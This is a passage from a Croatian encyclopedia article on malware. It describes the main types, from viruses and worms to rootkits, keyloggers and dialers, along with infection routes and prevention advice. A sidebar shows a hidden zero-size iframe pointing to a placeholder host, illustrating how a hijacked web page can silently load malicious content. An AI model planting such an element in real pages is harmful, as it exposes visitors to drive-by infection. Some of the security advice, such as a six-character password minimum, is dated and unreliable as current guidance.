[[vandalizam|vandalizma]], dizajnirani kako bi uništavali podatke ili na drugi način štetili računalu. Takvi su bili neki [[DOS]] virusi i [[ExploreZip]] crv za Windowse, koji su brisali podatke na disku ili koruptirali datotečni sustav zapisivanjem nepravilnih podataka u njih. Mrežni crvi kao što su [[Code Red]] (2001.) i [[Ramen (crv)|Ramen]] spadaju u istu kategoriju. S porastom popularnosti Interneta, štetni softver sve više nastaje zbog želje za profitom. Od [[2003]]. većina brzoširećih virusa i crva su dizajnirani za preuzimanje kontrole nad računalima korisnika za [[crna burza|crno tržište]].<ref>{{cite web|title=Malware Revolution: A Change in Target|url=http://technet.microsoft.com/en-us/library/cc512596.aspx|date=March 2007}}</ref> Zaražena zombi računala se koriste za slanje [[spam]] poruka, kao "skladišta" [[dječja pornografija|dječje pornografije]]<ref>{{cite web|title=Child Porn: Malware's Ultimate Evil|url=http://www.itworld.com/security/84077/child-porn-malwares-ultimate-evil|date=November 2009|access-date=2011-07-23|archive-date=2013-10-22|archive-url=https://web.archive.org/web/20131022155627/http://www.itworld.com/security/84077/child-porn-malwares-ultimate-evil}}</ref> ili za [[DDoS]] napade.<ref>{{Cite web |title=PC World - Zombie PCs: Silent, Growing Threat<!-- Bot generated title --> |url=http://www.pcworld.com/article/id,116841-page,1/article.html |access-date=2011-07-23 |archive-date=2008-07-27 |archive-url=https://web.archive.org/web/20080727001520/http://www.pcworld.com/article/id,116841-page,1/article.html |dead-url=yes }}</ref> Druga kategorija koja služi za profit napadača je [[spyware]] koji tajno prati korisnikovo služenje računalom ili Internetom, usporava vezu, mijenja postavke sustava, i prikazuje oglase. Oni se općenito ne šire za razliku od virusa i crva te se instaliraju preko sigurnosnih rupa u sustavu ili dolaze zapakirani s određenim aplikacijama, kao s [[peer-to-peer]] aplikacijama. === Štetni softveri za profit: špijunski programi, botnetovi, keyloggeri i dialeri === U 80-tima i 90-tima se obično smatralo da se štetni programi bili forma vandalizma ili neslane [[šala|šale]]. No, danas se štetni programi sve više pišu s motivom [[profit]]a (financijskog ili nekog drugog dobitka). Tako se spyware programi rade kako bi se prikupljale informacije o korisniku, prikazivali mu se skočni prozori (pop-ups) ili modificirajući ponašanje internetskog preglednika za financijsku dobit autora spywarea. Primjerice, neki špijunski programi preusmjeruju rezultate [[internetski pretraživač|internetskog pretraživača]] na plaćene [[oglas]]e. Drugi način pomoću kojeg financijski motivirani autori štetnog softvera mogu ostvariti profit je da izravno koriste zaražena računala da rade za autora štetnog softvera. Tako se spomenuta računala koriste kao [[proxy]]i za slanje [[spam]] poruka. To su zombi računala (''zombie computers''). Prednost korištenja zaraženih računala za slanje spam poruka od strane spamera jest [[anonimnost]] koja mu se pruža. Spameri također koriste zaražena računala za napad na antispam organizacije uz pomoć [[DDoS]] napada uskraćivanja računalnih resursa. Kako bi kordinirali aktivnost zaraženih računala, napadači koriste koordinatne sustave poznate kao [[botnet]]ovi. U botnetu, štetni softver ili štetni bot (''malbot'') se spoji na [[IRC]] (''Internet Relay Chat'') ili na neki drugi [[chat]] sustav. Tada napadač može simultano davati upute svim zaraženim sustavima. Botnetovi također mogu biti korišteni za stavljanje poboljšanih verzija štetnog softvera na zaražena računala, otpornih na antivirusne programe i druge sigurnosne mjere. [[Datoteka:Circle of spam.svg|thumb|250px|(1) Spamerova internetska stranica (2) Spamer (3) Spamware (4) Zaražena zombi računala (5) virus ili trojanski konj (6) mail serveri (7) korisnici (8) internetski promet]] Isto je tako moguće da napadač ostvari profit krađom osjetljivih informacija svoje mete. Neki štetni programi instaliraju [[keylogger]] koji prati pritiskanje svih tipki na tipkovnici i omogućuje krađu [[lozinka|lozinki]], brojeva [[kreditna kartica|kreditne kartice]] i sl. Ove informacije se potom automatski šalju napadaču, omogućujući mu zloupotrebu navedenih informacija. Na sličan način, štetni softver može uzeti CD ključ ili lozinku u online igri i omogućiti napadaču krađu računa ili virtualnih stvari. Još jedan način za krađu novca vlasnika zaraženog računala je preuzimanje kontrole nad [[dial-up]] [[modem]]om i pozivanje skupih telefonskih brojeva (''premium-rate''). To se može ostvariti [[dialer]]om koji poziva skupi broj te korisnik na kraju mjeseca dobije ogroman telefonski račun. == Opis == === Virus === Definicija [[računalni virus|virusa]] jednog od poznatih računalnih stručnjaka dr. Fredericka Cohena glasi ovako: virus predstavlja program koji može inficirati druge programe, modificirajući ih tako da uključe novu kopiju njega samoga, po potrebi također modificiranu.<ref name="Bug">Što su i kako rade virusi, Bojan Ždrnja, BUG. Zagreb 2003.</ref> Ovo je jedna naizgled komplicirana definicija, ali funkcionira vrlo jednostavno. Virus zarazi (inficira) neki program tako što mu promijeni tijek te se širi umetanjem svojega koda u druge datoteke, što znači da će se pri pokretanju programa nakon što je zaražen prvo biti pokrenut virus, koji će onda pokrenuti legitimni program kako bi se prikrio.<ref name="Bug"/> Mora se napomenuti da svaki štetni softver koji uništava podatke, prati korisnikove navike korištenja računala ili Interneta, instalira drugi štetni softver na zaraženo računalo i/ili krade [[lozinka|lozinke]] korisnika nije virus ako se ne replicira na spomenuti način. Unatoč tome, mnogi korisnici rabe naziv virus za štetni softver čak i ako se ne replicira. Virus ima tri glavne kompontente: * infekcija - omogućava širenje virusa * nosiva komponenta (''payload'') - glavna aktivnost virusa, ako se izuzme širenje, destruktivni virusi pomoću nje brišu datoteke ili rade drugu štetu nad podacima * funkcija za okidanje (''trigger'') - određuje vrijeme ili događaj tijekom kojeg će biti pokrenuta nosiva komponenta Jedini obvezni dio virusa je komponenta<ref name="Bug"/> koja omogućava infekciju, dok se druge mogu dodati po želji autora virusa. Ponekad je ipak teško drediti razliku između komponenti jer se može dogoditi da samo širenje virusa uzrokuje nuspojave koja se može pripisati nosivoj komponenti.<ref name="Bug"/> Nosiva komponenta virusa često je ono što dobiva pažnju medija koji ju često preuveličavaju. === Crv === [[računalni crv|Crvi]] se šire putem računalne mreže i ne moraju inficirati nijednu datoteku na računalu, za razliku od virusa. Dijelimo ih na mrežne crve i one bazirane na domaćinu (''host computer worms''). Mrežni crvi imaju više dijelova, od kojih je svaki pokrenut na posebnom računalu i provodi najčešće različitu aktivnost, pa upotrebljavaju računalnu mrežu za komunikaciju između dijelova.<ref name="Bug"/> Mrežni crvi ponekad imaju glavni dio koji upravlja onim drugim dijelovima, a poznati su pod nazivom ''octopus'' (hobotnica).<ref name="Bug"/> Crvi bazirani na domaćinu se pak nalaze u potpunosti na inficiranom računalu te upotrebljavaju mrežnu komunikaciju samo u svrhu širenja na druga.<ref name="Bug"/> Njihovu podkategoriju čini vrsta crva koja se zove ''rabbit'' (zečevi) koji prestaju raditi nakon uspješnog inficiranja drugog računala<ref name="Bug"/>, što znači da na jednom računalnoj mreži može postojati samo jedna njihova kopija.<ref name="Bug"/> Crvi se mogu podijeliti i u druge kategorije<ref name="Bug"/>: * crvi koji se šire [[e-mail]]om * crvi koji se šire drugim [[protokol]]ima različitim od e-maila te: * crvi koji se sami pokreću<ref name="Bug"/> * crvi koji koriste [[socijalni inženjering]] zbog kojeg ih na prijevaru pokreću korisnici<ref name="Bug"/> * hibridni crvi koji koriste obje metode<ref name="Bug"/> ==== Točna razlika između virusa i crva ==== S obzirom na to neki ljudi ne znaju razliku između virusa i crva te ta dva različita pojma miješaju, ovdje će se objasniti ukratko njihova razlika. Ovo su najpoznatiji tipovi štetnog softvera i oba se repliciraju. Ipak, ne repliciraju se na isti način. Virus je štetni program koji inficira neki izvršni program (''executable''), i ''kada se pokrene'', onda se počinje širiti i na druge programe. Može imati i nosivu komponentu odnosno ''payload'' koja radi druge, obično zlonamerne, aktivnosti. S druge strane, crv se ''aktivno'' širi preko mreže s ciljem da zarazi druga računala. On isto može nositi nosivu komponentu. Ovo dakle znači da virus treba korisnikovu intervenciju kako bi se širio, dok crv to radi automatski. Koristeći ovu razliku, zaražene datoteke koje se šire preko [[e-mail]]a ili dokumenata napisanih u [[MS Word]]u, koje korisnik mora pokrenuti da bi se zarazio njegov sustav, se radije klasificiraju kao virusi nego kao crvi. === Trojanski konj === [[Datoteka:Conficker.svg|300px|thumb|Širenje crva Conficker]] Naziv trojanski konj nastao je po poznatoj priči u [[grčka mitologija|grčkoj mitologiji]] o osvajanju grada [[Troja|Troje]] zloupotrebom povjerenja. Trojanski konji nemaju komponentu samorepliciranja za razliku od crva i virusa, tako da ih korisnici sami moraju kopirati.<ref name="Bug"/> Oni koriste metodu lažnog predstavljanja kao neki korisni ili poželjni program (npr. program za crtanje) a kad ih korisnik pokrene, ponekad zajedno s očekivanom funckijom, u pozadini provode i neželjene aktivnosti bez korisnikovog znanja. To su najčešće krađa lozinki i drugih osjetljivih podataka (''password stealers'' ili ''infostealers'') te omogućavanje udaljenog pristupa inficiranom računalu neovlaštenoj osobi (''backdoors''), ali i instaliranje drugog štetnog softvera (''downloaders''), korištenje zaraženog računala za automatsko slanje spam poruka, brisanje ili izmjenjivanje datoteka itd. U trojanske konje spadaju i programi koji se lažno predstavljaju kao antivirusi ili antispyware, i na engleskom se ovaj tip programa zove [[Lažni antivirus|rogue]] ili fake antivirus. Može ih se dobiti posjećivanjem određenih internetskih stranica, najčešće stranica njihovog "proizvođača" (često i preko sigurnosnih rupa u internetskom pregledniku), ili ih instalira drugi štetni softver prisutan na korisnikovom računalu (npr. [[Trojan-FakeAV]]). Oni zapravo detektiraju izmišljen štetni softver na korisnikovom računalu a potom nastoje uvjeriti korisnika u kupnju kako bi "uklonili viruse na računalu". Osim očigledne namjere uznemiravanja korisnika, mogu blokirati prave antivirusne i antišpijunske programe koji bi ih mogli detektirati, te mogu instalirati ostali štetni softver. Vjerojatno najpoznatiji tip trojanskog konja ovakve vrste je [[SpySheriff]], ali poznati su i ErrorSafe, WinAntivirus i XP Antivirus. === Backdoor === [[Backdoor]] je način zaobilaženja normalne provjere autentičnosti. Kada je sustav komprimitiran (na jedan od gore navedenih načina, ili nekim drugim), na njega se instalira jedan ili više backdoora kako bi se omogućio lakši pristup računalu u budućnosti. Crackeri koriste backdoor za sigurni udaljeni pristup zaraženom računalu, i usput pokušavaju ostati nezamijećeni. Oni na udaljeno računalo mogu instalirati backdoor uz pomoć trojanskog konja, crva ili nekom drugom metodom. Govorilo se da proizvođači računala predinstaliraju backdoorove na sustave svojih kupaca radi lakše tehničke podrške, no ovo nikada nije pouzdano dokazano. === Rootkit === U trenutku instalacije štetnog softvera na računalo, veoma je bitno da ostane neprimijećen i nedetektiran, te potom uklonjen. Ovo vrijedi i kad ljudski napadač direktno napada i ulazi u računalni sustav. Tehnika koja se zove [[rootkit]] omogućava ovakvu nezamijećenost, tako što se modificira operacijski sustav mete tako da se štetni softver sakrije od korisnika. Rootkit omogućuje sakrivanje štetnog procesa u [[Task Manager]]u (engl. ''hidden process'' - skriveni [[proces (informatika)|proces]]) ili može spriječiti čitanje njegovih datoteka. Originalno, rootkit je predstavljao skup alata koje bi napadač instalirao na Unix sustav kako bi dobio administratorska (''root'') prava. Danas se taj termin općenito koristi kad se govori o rutinama skrivanja štetnog programa. Neki štetni programi imaju rutine koje ih brane od uklanjanja. One ne služe toliko za prikrivanje štetnog programa, koliko za pokušaj onemogućavanja njegovog uklanjanja. Štetni softver može pokrenuti nekoliko procesa koji nadgleda svaki njegov dio i ponovno pokreće onaj dio kada je god potrebno (obično kad je zaustavljen). Neki štetni softveri mogu imenovati neki svoj proces na taj način da mu ime sliči legitimnoj datoteci (npr. expl0rer.exe - lažna explorer.exe datoteka - legitimna explorer.exe datoteka predstavlja [[Windows Explorer]]). Čak im može imati i isto ime kao legitimni proces, s tom razlikom da se štetni proces nalazi na drugoj lokaciji u sustavu. === Kradljivci podataka === Štetni softver koji krade podatke (''data-stealing malware'') je internetska prijetnja koja, kao što joj i samo ime govori, krade osobne informacije mete s namjerom oštećivanja mete direktnim korištenjem podataka ili njihovom ''underground'' distribucijom. U kradljivce podataka spadaju keyloggeri, špijunski programi, adware, backdoorovi i botovi. Termin se ne odnosi na aktivnosti poput spama, [[phishing]]a, [[DNS poisoning|DNS ''poisoninga'']], zloupotrebu [[SEO]]-a (''search engine optimization'') itd. ==== Katakteristike kradljivaca podataka ==== * internetska stranica koja je domaćin štetnom softveru je nerijetko privremena ili lažna * štetni softver se može instalirati metodom [[drive-by-download]] * često se mijenja i proširuje svoje funkcije * koristi više razina [[enkripcija|enkripcije]] * skriva se u internetskom prometu * može bilježiti pritisnute tipke, lozinke i hvatati snimke ekrana * podaci se kradu prilikom dekripcije ==== Primjeri kradljivaca podataka ==== * [[Bancos]] - ''infostealer'' koji čeka da korisnik pristupi nekoj bankovnoj stranici, a onda ju lažira i krade osjetljive informacije * [[Gator]] - špijunski softver koji prati pregledavane stranice i postavlja (vrši ''[[upload]]'') podataka na server za analizu te sukladno profilu korisnika servira prikladne skočne prozore * LegMir - špijunski softver koji krade informacije poput korisničkih imena i lozinki vezanih uz online igre * QHost - trojanski konj koji modificira [[hosts datoteka|hosts datoteku]] koja pokazuje na drukčiji [[DNS]] server prilikom pristuba bankovnim internetskim stranicama, onda otvara lažiranu stranicu kako bi ukrao bankovne podatke ==== Incidenti krađe podataka ==== * [[Haker]] Albert Gonzalez (r. [[1981]].) bio je optužen da je koristio štetni softver kako bi ukrao i potom prodao preko 170 milijuna brojeva kreditnih kartica u [[2006]]. i [[2007]]. godini. To je bila najveća računalna prijevara u povijesti. Neke od tvrtki koje su bile mete uključuju BJ's Wholesale Club, TJX, DSW Shoes, OfficeMax, Barnes & Noble, Boston Market, Sports Authority i Forever 21.<ref>{{cite web|url=http://www.usdoj.gov/usao/ma/Press%20Office%20-%20Press%20Release%20Files/IDTheft/Gonzalez,%20Albert%20-%20Indictment%20080508.pdf |title=Gonzalez, Albert&nbsp;— Indictment 080508 |publisher=US Department of Justice Press Office |date= |accessdate=2010- |pages=01–18}}</ref> * Trojanski konj Topig kompromitirao je i ukrao podatke za prijavu za otprilike 250 000 bankovnih računa te otprilike jednak broj kreditnih i [[debitna kartica|debitnih kartica]]. Ostale informacije kao e-mail adrese i [[FTP]] računi za različite stranice isto su tako bili kompromitirani i ukradeni.<ref>BBC News: [http://news.bbc.co.uk/2/hi/technology/7701227.stm Trojan virus steals banking info]</ref> === Špijunski programi=== Spyware ili špijunski softver prikuplja informacije o korisniku bez njegovog znanja. Tipično se nastoji prikriti i otežati svoju detekciju. Uglavnom se tajno instaliraju na osobna računala, ali ih na javna, dijeljena ili korporativna računala tvrtki može instalirati vlasnik tih računala, često u obliku [[keylogger]]a kako bi pratili ostale korisnike navedenih računala. Iako naziv spyware sugestira da se radi o programu koji prati korisnikovo korištenje računala, njegove funkcije su mnogo šire od toga. Tako može prikupljati osobne informacije korisnika, popis internetskih stranica koje posjećuje, preusmjeravati na zaražene stranice, instalirati ostali štetni softver, usporavati internetsku vezu, mijenjati postavke računala (vrlo često vezane uz [[računarska sigurnost|sigurnost]], one su snižene ili onemogućene), mijenjati početnu stranicu internetskog preglednika u novu, obično zaraženu, te negativno utjecati na funkcionalnost korisničkih programa. ==== Kontroverze oko programa proglašenih špijunskim softverom==== Postoje programi (kao što su [[Alexa]] toolbar, [[Google toolbar]] i [[Eclipse]] kolektor informacija) koji šalju informacije centralnom [[server]]u o tome koje su stranice posjećene ili koje su funkcije programa bile korištene. Ipak, za razliku od "klasičnog" štetnog softvera ova grupa programa dokumentira aktivnosti i šalje podatke samo uz dopuštenje korisnika. Korisnik ovo može prihvatiti kako bi dobio veći raspon funkcionalnosti u programu te veći broj servisa u njemu, ili, u slučaju Eclipsea, kao vrsta voluntarne podrške razvoju projekta. Neki sigurnosni alati detektiraju ove programe kao štetne, dok neki ne. Status ove grupe je, dakle, veoma upitan i kontroverzan. Neki programi kao što je PDFCreator su napravili isključivanje slanja informacija kompleksnijim nego što bi trebalo biti, tako da tijekom instalacije, korisnik mora isključiti dvije opcije umjesto samo jedne. [[PDFCreator]] se još uvijek smatra štetnim programom kod nekih antivirusnih tvrtki, tako da je još uvijek predmet diskusija. === Keyloggeri === [[Keylogger]] ili ''keystroke logging program'' je štetni softver, podvrsta špijunskog softvera, koji prati pritisnute tipke na računalu, a koristi se za krađu korisničkih lozinki, brojeva kreditne kartice i ostalih osjetljivih informacija koje potom šalje napadaču. Keyloggeri mogu raditi i snimke ekrana (''screenshotove'') kako bi napadač bio siguran u točnost podataka. Snimke ekrana se rade periodički ili na korisnikov klik mišem, što znači da ovdje uglavnom nema puno pomoći od tipkovnica baziranih na ekranu, pošto korisnik klika mišem po virtualnim tipkama. Ostale funkcije keyloggera uključuju i: * pregledavanje sadržaja ''clipboarda'' - dakle, program može pratiti što je sve kopirano u [[međuspremnik]] (''clipboard'') * praćenje unosa u internetske pretraživače (primjerice [[Google]], [[Yahoo]] i [[Altavista]]), korisničkih konverzacija u instant messaging programu (npr. [[Windows Live Messenger]] i [[Skype]]), [[FTP]] preuzimanja i ostale aktivnosti u vezi Interneta, poput količine internetskog prometa koji je generirao korisnik * praćenje koje je sve prozore, datoteke i mape korisnik otvorio, zajedno s priloženom snimkom ekrana === Oglašivački softver === Adware ili oglašivački softver automatski prikazuje oglase na računalu, koji mogu biti u obliku skočnih prozora (''[[pop-up]]s''), prikazani u korisničkom sučelju nekog programa u kojem se nalaze ili za vrijeme njegove instalacije. Obično se instaliraju kao odvojeni program a dolaze s besplatnim programima, a instaliraju se velikim dijelom zahvaljujući činjenici da većina korisnika pri instalaciji ne čita [[EULA|EULU]], to jest uvjete upotrebe programa kojeg instaliraju. Adware se koristi kako bi autor pokrio troškove izrade programa. Sam po sebi adware nije opasan, ali nažalost često dolazi s integriranim spywareom ili drugim štetnim softverom za rušenje privatnosti. Tako spyware prati korisnikove navike, a adware prikazuje oglase koji su u skladu s informacijama korisnikovog profila koji je prikupio spyware. Poput spywarea, adware utječe na perfomanse sustava i/ili internetske veze. === Dialeri === [[Dialeri]] su inače legitimni programi potrebni za spajanje na internet (barem na [[širokopojasna veza|neširokopojasnim vezama]]) no neki dialeri imaju zlonamjernu funkciju. Oni pozivaju ''premium-rate'' [[telefon]]ske brojeve koji su veoma skupi. Napadači često pretražuju sigurnosne rupe na operacijskom sustavu korisnika računala - potencijalne mete, te ih iskorištavaju kako bi uz pomoć dialera pozivali spomenute skupe brojeve i zaradili novac. Alternativno, neki dialeri informiraju korisnika što rade, s obećanjem da ako pristane da dialer poziva skupi broj, korisnik će dobiti pristup specijalnom sadržaju - raznim [[MP3]] datotekama, [[pornografija|pornografiji]] ili ''underground'' programima kao što su [[keygen]]i i [[crack (informatika)|crackovi]]. Međutim, riječ je zapravo o trojanskim konjima koji se samo predstavljaju kao spomenuti sadržaj. Korisnici s [[DSL]]-om (i sličnim širokopojasnim vezama) uglavnom nisu meta. Dialer se, doduše, može skinuti i instalirati na njihov sustav, ali pozivanje skupog telefonskog broja nije moguće jer korisnici tipično nemaju svoj [[dial-up]] modem (ako ga uopće i imaju) spojen na telefonsku liniju. Ipak, ako je [[ISDN]] adapter ili dodatni analogni modem priključen, moguće je da će dialer moći pozvati broj. === Grayware === Grayware<ref name=term>{{cite web | accessdate=20. 01. 2007. | url=http://mpc.byu.edu/Exhibitions/Of%20Earth%20Stone%20and%20Corn/Activities/Native%20American%20Pottery.dhtml | title=Other meanings | archiveurl=https://web.archive.org/web/20070630152901/http://mpc.byu.edu/Exhibitions/Of+Earth+Stone+and+Corn/Activities/Native+American+Pottery.dhtml | archivedate=2007-06-30 | deadurl=yes }} The term "grayware" is also used to describe a kind of Native American pottery and has also been used by some working in computer technology as slang for the human brain. {{cite web | accessdate=02. 01. 2007. | url=http://www.techweb.com/encyclopedia/defineterm.jhtml?term=grayware | title=grayware definition | publisher=TechWeb.com | archive-date=2007-09-29 | archive-url=https://web.archive.org/web/20070929091955/http://www.techweb.com/encyclopedia/defineterm.jhtml?term=grayware | dead-url=yes }}</ref> (također i Greynet) je pojam koji se koristi općenito za softver koji može imati neželjeni utjecaj na računalo, ali mnogo manje ozbiljan nego kod štetnog softvera.<ref name=webopedia>{{cite web | title=Greyware | work=What is greyware? - A word definition from the Webopedia Computer Dictionary | url=http://webopedia.com/TERM/g/greyware.html | accessdate=05. 06. 2006. }}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> U grayware spadaju spyware, adware, dialeri, šale, [[programi za udaljeni pristup računalu]] (''remote access programs'') i ostale neželjene datoteke i aplikacije koje nisu virusi, a koji su dizajnirani da narušavaju performanse računala ili računalne mreže. Ovaj termin se počeo koristiti u rujnu 2004.<ref>{{cite web | url=http://www.computerweekly.com/Articles/2004/09/28/205554/the-network-clampdown.htm | title=The network clampdown | accessdate = 20. 01. 2007. | author=Antony Savvas |publisher=Computer Weekly}}</ref> Grayware programi i datoteke, dakle, nisu klasificirani ni kao virusi ni trojanski konji, ali opet mogu imati neželjeni utjecaj na performanse računala na računalnoj mreži i predstavljati značajne sigurnosne rizike za neku tvrtku.<ref>{{cite web | url=http://www.boll.ch/fortinet/assets/Grayware.pdf | title=Fortinet WhitePaper Protecting networks against spyware, adware and other forms of grayware | accessdate=20. 01. 2007. | format=PDF | archive-date=2007-01-11 | archive-url=https://web.archive.org/web/20070111160458/http://boll.ch/fortinet/assets/Grayware.pdf | dead-url=yes }}</ref> Često grayware radi aktivnosti poput čestog prikazivanja skočnih prozora (''pop-ups''), praćenja korisnikovih navika i bespotrebnog izlaganja računala sigurnosnim rizicima. === Ranjivosti sustava === Napomena: u ovom odlomku pojam "ranjivi sustav" može označavati samo jedno računalo i operativni sustav, mrežu ili pak aplikaciju. Različiti faktori čine neki sustav ranjivim na štetni softver: * homogenost: kada sva računala u mreži imaju isti operacijski sustav; ovo znači da napadač, u slučaju iskorištavanja ranjivosti jednog operacijskoj sustava na računalu može iskoristiti i sva druga računala s tim operacijskim sustavom * brojevi i postotci: jednostavna činjenica da je veći dio štetnog softvera napisan za Windowse, čine taj operativni sustav ranjivijim na napade od ostalih, npr. [[Linux]]a, za koje je napisan puno manji broj štetnog softvera jer ih koristi znatno manji broj korisnika * defekti: sigurnosne rupe u operacijskom sustavu koje omogućuju instalaciju i/ili širenje štetnog softvera * nepotvrđeni kod: kod s [[flopi disk|diskete]], [[CD-ROM]]-a ili [[USB stick|USB]] sticka može se izvršiti bez korisnikovog dopuštenja * prevelika privilegiranost korisnika: neki sustavi dopuštaju svim korisnicima uređivanje njegove internalne strukture * prevelika privilegiranost koda: neki sustavi dopuštaju kodu koji se izvršava od strane korisnika da naslijedi njegova prava; veliki dio korisnika [[Windows XP|Windowsa XP]] ima administratorske ovlasti što se smatra vrlo rizičnim pošto štetni softver, u tom smislu, može naslijediti administratorske ovlasti od korisnika ==== Eliminacija prevelike privilegiranosti koda ==== Može se vršiti s: * različitim formama virtualizacije, koja dopušta kodu neograničeni pristup isključivo virtualnim resursima * sandbox programima (pješčanici) - npr. Sandboxie * sigurnosnim funkcijama [[Java|Jave]], u <code>java.security</code> === Web i [[spam]] === <div style="margin:1% 0 1% 1%; padding:0.5%; width:30%; border:1px solid #bbb; float:right; font-family:monospace; font-size:90%"><pre> &lt;iframe src="http://example.net/out.php?s_id=11" width=0 height=0 /&gt;</pre> <span style="font:90% sans-serif;">Ako napadač dobije pristup internetskoj stranici, ona može biti oteta s jednim jedinim HTML elementom.<ref>{{cite video|people=Zittrain, Jonathan (Mike Deehan, producer)|title=Berkman Book Release: The Future of the Internet&nbsp;— And How to Stop It|location=Cambridge, MA, USA|url=http://cyber.law.harvard.edu/interactive/events/2008/04/zittrain|medium=video/audio|publisher=Berkman Center, The President and Fellows of Harvard College|date=17. 04. 2008.|accessdate=21. 04. 2008.|archivedate=2008-05-13|archiveurl=https://web.archive.org/web/20080513022809/http://cyber.law.harvard.edu/interactive/events/2008/04/zittrain|deadurl=yes}}</ref></span></div> [[World Wide Web]], najpoznatiji internetski servis, je kriminalcima najomiljeniji način za širenje štetnog softvera. Današnje internetske prijetnje koriste kombinacije štetnog softvera kako bi nastali lanci infekcija. Smatra se da jedna od deset internetskih stranica sadržava štetni kod.<ref>{{cite news|title=Google searches web's dark side|url=http://news.bbc.co.uk/2/hi/technology/6645895.stm|date = 11. 05. 2007.|publisher=BBC News|accessdate = 26. 04. 2008.}}</ref> ==== Wikiji i blogovi ==== Napadači mogu koristiti [[wiki]]je i [[blog]]ove za promociju linkova koji sadrže štetni softver.<ref>{{cite web |author=Sharon Khare |url=http://www.tech2.com/india/news/telecom/wikipedia-hijacked-to-spread-malware/2667/0 |title=Wikipedia Hijacked to Spread Malware |location=India |publisher=Tech2.com |date= |accessdate=15. 04. 2010. |archivedate=2008-09-25 |archiveurl=https://web.archive.org/web/20080925232323/http://www.tech2.com/india/news/telecom/wikipedia-hijacked-to-spread-malware/2667/0 |deadurl=yes }}</ref> Wikiji i blog serveri mogu biti i direktno napadnuti. [[2010]]. godine napadnut je [[Network Solutions]]<ref>{{cite web|url=http://blog.sucuri.net/2010/05/continuing-attacks-at-network-solutions.html |title=Continuing attacks at Network Solutions? &#124; Sucuri |publisher=Blog.sucuri.net |date = 07. 05. 2010. |accessdate = 14. 11. 2010.}}</ref><ref>{{cite news|title=Attacks against Wordpress|url=http://blog.sucuri.net/2010/05/new-attack-today-against-wordpress.html|date = 11. 05. 2010.|publisher=Sucuri Security|accessdate = 26. 04. 2010.}}</ref>, i neke internetske stranice kojima je Network Solutions bio domaćin su bile zaražene i izvor [[spam]]a. ==== SMTP prijetnje ==== [[SMTP]] prijetnje također predstavljaju popularni način pomoću kojeg se propagira štetni softver. Kako se korisnici prilagođavaju na široko rasprostranjene spam poruke, cyberkriminalci distribuiraju [[crimeware]] kako bi napali jednu određenu organizaciju ili tvrtku, često radi financijske dobiti. == Prevencija == === Antivirusi i antišpijunski programi === Kako su napadi štetnog softvera postajali sve češći, počela se pridavati pozornost zaštiti računala od virusa i spywarea te su se tako počeli i razvijati programi koji su bili dizajnirani specifično za obranu računala. [[Antivirus]]ni i antišpijunski programi štite na dva načina: # Mogu ponuditi [[zaštita u stvarnom vremenu|zaštitu u stvarnom vremenu]] (''real-time protection'') kako bi se spriječilo instaliranje štetnog softvera na računalo; antispyware zaštita radi na istom principu kao i antivirusna; naime, i antispyware i antivirusni program skeniraju sve nadolazeće mrežne podatke te blokiraju sve prijetnje koje uspiju naći; doduše, mora se napomenuti da zaštita u stvarnom vremenu do neke mjere usporava računalo, što je još više očito kod nekih programa # Mogu se koristiti i samo za detekciju i uklanjanje štetnog softvera koji je već prethodno instaliran na računalo. Prilikom skeniranja računala antivirusni i antišpijunski programi pregledavaju sadržaj registrya u Windowsima, operativne sistemske datoteke kao i ostale datoteke na disku te popis instaliranih programa na računalu; ako detektiraju neki štetni softver prisutan na računalu napravit će popis otkrivenih stavki, dopuštajući korisniku da odluči koje će datoteke zadržati a koje obrisati, i da uspoređuje ovaj popis s popisom poznatih štetnih komponenti, uklanjajući one stavke u sustavu koje se podudaraju s poznatim komponentama === Sigurnosna provjera internetske stranice === Štetni softver može napasti i inače legitimne internetske stranice, rušeći im reputaciju i dodajući ih na [[blacklist]]u. Zbog ove činjenice postoje plaćeni servisi koji nude periodičnu sigurnosnu provjeru<ref>[http://www.godaddy.com/security/website-security.aspx?ci=20677 An example of the web site scan proposal]</ref> internetske stranice, te provjeravaju ima li internetska stranice štetni softver, sigurnosne ranjivosti, zastarjeli softver koji ima poznate sigurnosne probleme i slično. Prijavljeni problemi se prijavljuju vlasniku internetske stranice koji ispravlja propuste. Ponuđač sigurnosne provjere može ponuditi vlasniku internetske stranice sigurnosni bedž koji vlasnik može prikazati samo ako je stranica nedavno skenirana i "čista". === Ostale mjere sigurnosti === Korisnik treba imati na umu da sama činjenica da ima sigurnosne programe instalirane na svom računalu nije dovoljna i da nijedan sigurnosni program nema stopostotnu zaštitu niti detekciju. Potrebno je dodatno smanjiti rizik od zaraze sljedećim korisnim mjerama: * Korištenje [[vatrozid|zaštitnog zida]] (''firewall'') i blokiranje svih nadolazećih konekcija na računalo. * Redovito osvježavanje antivirusa i antišpijunskih programa novim definicijama radi zaštite od novih prijetnji. * Korištenje što boljih [[lozinka|lozinki]]. Za maksimalnu sigurnost se preporučuje da sadržavaju velika i mala slova, brojke i specijalne znakove i budu duge barem 6 znakova. Dobre lozinke potencijalnom napadaču otežavaju pristup korisničkom računu. * Korištenje funkcije [[Windows Update]], uz posebnu pozornost na instaliranje sigurnosnih ažuriranja za Windowse (''security updates''), jer njihova instalacijom onemogućava prodor određenih štetnih programa u sustav, što je jako bitno. * Brisanje e-mailova koji dolaze od nepoznatih osoba bez čitanja, posebno ako imaju predmet (''subject'') tipa Free greeting cards, 100% free porn films, Make money FAST i slično. Redovito je riječ o prijevarama, a privici i linkovi u takvim porukama posve sigurno sadržavaju štetni softver. Osim toga, otvaranje spam poruka spammerima daje do znaju da je e-mail adresa aktivna, pa tako na nju dolazi još više spama. * Skeniranje antivirusom e-mailova koji dolaze od poznatih osoba. Ako je osoba poznata, to još uvijek nije garancija da privitak u njihovim porukama ne sadrži štetni softver. Ako je predmet poruke na engleskom (ili nekom drugom jeziku, npr. kineskom ili turskom) a sa tom osobom se nikad nije razgovaralo na tom jeziku, vjerojtano je tu poruku poslao štetni softver koji se nalazi na računalu osobe. Takve se poruke moraju odmah obrisati, jer se računalo ponekad može zaraziti i samim otvaranjem poruke. * Nepokretanje aplikacija ili datoteka koje dolaze s nepoznatog ili nepouzdanog izvora. * Ako je potrebno pokrenuti nepoznatu aplikaciju za koju nije jasno što radi na sustavu, kao ni je li štetna, treba je pokrenuti u sandbox programu, kao što je besplatni Sandboxie. * U primitka neke sumnjive datoteke koju antivirus ili antispyware nije detektirao kao opasnost, a postoji sumnja da jest, treba je poslati na servis [[VirusTotal]] ili JottiScan, gdje će biti pregledana s velikim brojem antivirusnih programa. Iako ova metoda nije 100% pouzdana, ipak je 